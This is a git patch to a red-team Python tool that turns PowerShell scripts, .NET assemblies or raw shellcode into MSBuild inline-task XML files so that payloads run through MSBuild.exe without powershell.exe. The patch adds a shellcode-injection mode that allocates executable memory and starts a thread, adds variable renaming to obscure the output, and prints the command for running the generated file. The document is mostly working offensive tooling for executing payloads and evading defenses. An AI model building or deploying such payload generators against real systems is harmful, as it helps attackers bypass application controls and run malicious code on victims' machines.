From 8247ea72bcfc661c8941b39a78952abb95e823de Mon Sep 17 00:00:00 2001 From: "Mariusz B. / mgeeky" Date: Thu, 30 Apr 2020 21:31:12 +0200 Subject: [PATCH] Updated generateMSBuildXML.py --- red-teaming/README.md | 14 +- ...PowershellXML.py => generateMSBuildXML.py} | 238 +++++++++++++----- 2 files changed, 189 insertions(+), 63 deletions(-) rename red-teaming/{generateMSBuildPowershellXML.py => generateMSBuildXML.py} (51%) diff --git a/red-teaming/README.md b/red-teaming/README.md index 653340e..266ae00 100644 --- a/red-teaming/README.md +++ b/red-teaming/README.md @@ -149,12 +149,18 @@ Loaded $UserHunterShowAll results. - **`Get-UserPasswordEntries.ps1`** - a simple script for finding and decoding `userPassword` properties stored by some legacy SAMBA/linux kerberos implementations. -- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb)) +- **`generateMSBuildXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb)) + +This script can embed following data within constructed CSharp Task: + - Powershell code + - raw Shellcode to executed in a separate thread via CreateThread + - .NET Assembly reflectively loaded via Assembly.Load + Example output **not minimized**: ``` -C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 +C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py Show-Msgbox.ps1 :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' @@ -166,7 +172,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py S - + @@ -211,7 +217,7 @@ C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py S **minimized** ``` -C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m +C:\Users\IEUser\Desktop\files\video>python generateMSBuildXML.py Show-Msgbox.ps1 -m :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' diff --git a/red-teaming/generateMSBuildPowershellXML.py b/red-teaming/generateMSBuildXML.py similarity index 51% rename from red-teaming/generateMSBuildPowershellXML.py rename to red-teaming/generateMSBuildXML.py index ae21a0d..6a4abc0 100644 --- a/red-teaming/generateMSBuildPowershellXML.py +++ b/red-teaming/generateMSBuildXML.py @@ -2,15 +2,21 @@ # # Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or # .NET/CLR assembly EXE file into inline-task XML file that can be further launched by: -# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe # -# Requirements: -# - pefile +# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe +# or +# %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe +# +# This script can embed following data within constructed CSharp Task: +# - Powershell code +# - raw Shellcode in a separate thread via CreateThread +# - .NET Assembly via Assembly.Load # # Mariusz B. / mgeeky, # import re +import os import io import sys import gzip @@ -18,14 +24,9 @@ import base64 import string import struct import random +import binascii import argparse -try: - import pefile -except ImportError: - print('Missing requirement: "pefile". Install it using: pip install pefile') - sys.exit(-1) - def getCompressedPayload(filePath): out = io.BytesIO() @@ -43,11 +44,116 @@ def getCompressedPayload(filePath): ) return powershell -def getInlineTask(payload, exeFile): +def getInlineTask(payload, _format): + templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) - powershellLaunchCode = string.Template(''' + launchCode = '' + + if _format == 'exe': + + exeLaunchCode = string.Template(''' + + + + + + + ''').safe_substitute( + payload2 = base64.b64encode(payload.encode()).decode() + ) + + + launchCode = exeLaunchCode + + elif _format == 'raw': + + foo = str(binascii.hexlify(payload), 'ascii') + fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)] + encodedPayload = ' ' + + for i in range(len(fooarr)): + if i % 32 == 0 and i > 0: + encodedPayload += '\n ' + encodedPayload += '{}, '.format(fooarr[i]) + + encodedPayload = encodedPayload.strip()[:-1] + + shellcodeLoader = string.Template(''' + + + + ''').safe_substitute( + templateName = templateName, + payload2 = encodedPayload, + payloadSize = len(payload) + ) + + launchCode = shellcodeLoader + + else: + powershellLaunchCode = string.Template(''' ''').safe_substitute( - templateName = templateName, - payload2 = base64.b64encode(payload.encode()).decode() - ) + templateName = templateName, + payload2 = base64.b64encode(payload.encode()).decode() + ) - exeLaunchCode = string.Template(''' - - - - - - - ''').safe_substitute( - payload2 = base64.b64encode(payload.encode()).decode() - ) - - launchCode = exeLaunchCode if exeFile else powershellLaunchCode template = string.Template(''' - - - + + + <$templateName /> @@ -141,24 +229,7 @@ def detectFileIsExe(filePath, forced = False): #if not dosStub in printables: # return False - - try: - pe = pefile.PE(filePath) - cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14] - - if not (cli.VirtualAddress != 0 and cli.Size != 0): - sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n') - if forced: - sys.exit(-1) - raise Exception() - else: - sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n') - - return True - except: - pass - - return False + return True def minimize(output): output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output) @@ -174,7 +245,26 @@ def minimize(output): 'instance' : 'o', 'pipeline' : 'p', 'runspace' : 'r', - 'decoded' : 'd' + 'decoded' : 'd', + 'MEM_COMMIT' : 'c1', + 'PAGE_EXECUTE_READWRITE' : 'c2', + 'MEM_RELEASE' : 'c3', + 'funcAddr' : 'v1', + 'hThread' : 'v2', + 'threadId' : 'v3', + 'lpAddress' : 'p1', + 'dwSize' : 'p2', + 'flAllocationType' : 'p3', + 'flProtect' : 'p4', + 'dwFreeType' : 'p5', + 'lpThreadAttributes' : 'p6', + 'dwStackSize' : 'p7', + 'lpStartAddress' : 'p8', + 'param' : 'p9', + 'dwCreationFlags' : 'p10', + 'lpThreadId' : 'p11', + 'dwMilliseconds' : 'p12', + 'hHandle' : 'p13', } for k, v in variables.items(): @@ -187,10 +277,15 @@ def opts(argv): parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.') parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.') parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.') - parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!') + parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') + parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.') args = parser.parse_args() + if args.exe and args.raw: + sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') + sys.exit(-1) + return args def main(argv): @@ -206,12 +301,24 @@ def main(argv): args = opts(argv) - isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe) + _format = 'powershell' - if isItExeFile: + if args.exe: + if not detectFileIsExe(args.inputFile, args.exe): + sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') + return False + + _format = 'exe' sys.stderr.write('[?] File recognized as PE/EXE.\n\n') with open(args.inputFile, 'rb') as f: payload = f.read() + + elif args.raw: + _format = 'raw' + sys.stderr.write('[?] File specified as raw Shellcode.\n\n') + with open(args.inputFile, 'rb') as f: + payload = f.read() + else: sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') @@ -220,7 +327,7 @@ def main(argv): payload = getCompressedPayload(args.inputFile) - output = getInlineTask(payload, isItExeFile) + output = getInlineTask(payload, _format) if args.minimize: output = minimize(output) @@ -230,5 +337,18 @@ def main(argv): else: print(output) + msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' + if 'PROGRAMFILES(X86)' in os.environ: + msbuildPath = r'%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' + + sys.stderr.write(''' + +===================================== + +Execute this XML file like so: + +{} file.xml + '''.format(msbuildPath)) + if __name__ == '__main__': main(sys.argv)